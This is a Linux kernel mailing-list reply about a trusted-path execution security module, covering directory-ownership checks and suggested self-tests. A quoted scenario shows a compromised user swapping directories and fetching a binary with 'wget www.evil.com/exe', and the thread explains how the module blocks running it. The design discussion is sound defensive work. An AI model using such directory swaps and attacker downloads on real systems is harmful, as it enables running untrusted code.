On 08/06/2017 21:01, Matt Brown wrote: > On 6/8/17 2:37 PM, Alan Cox wrote: >>> http://phrack.org/issues/52/6.html#article >>> >>> | A trusted path is one that is inside a root owned directory that >>> | is not group or world writable. /bin, /usr/bin, /usr/local/bin, are >>> | (under normal circumstances) considered trusted. Any non-root >>> | users home directory is not trusted, nor is /tmp. >> >> Note that in the real world the trusted path would and should also >> require that any elements of the path above that point are also locked >> down if you are using path based models. Ie you need to ensure nobody has >> the ability to rename /usr or /usr/local before you trust /usr/local/bin. >> > > So actually in this LSM it's not so much full paths that are trusted, > rather it checks that the directory containing the program is only > writable by root and that the program itself is only writable by root. > > For example, consider the following: > > /user/ with permissions drwxr-xr-x user user > /user/user-owned/ with permissions drwxr-xr-x user user > /user/user-owned/root-owned/ with permissions drwxr-xr-x root root > /user/user-owned/root-owned/exe with permissions -rwxr-xr-x root root
Some tests would make this scenario clear. ;) You can take a look at how seccomp-bpf does with the test_harness.h helper. A new kselftest_harness.h will be available soon to not include a file from the seccomp-bpf directory (cf. linux-next). > > currently /user/user-owned/root-owned/exe is trusted because it can only > be written to by root, and the directory it is in can only be written by > root. > > but then user becomes compromised and does the following: > cd /user/ > mv user-owned user-owned-back > mkdir -p user-owned/root-owned > cd user-owned/root-owned > wget www.evil.com/exe > > Now /user/user-owned/root-owned/exe is untrusted and its execution will > be denied unless you put user in the trusted group. > > Matt >
signature.asc
Description: OpenPGP digital signature
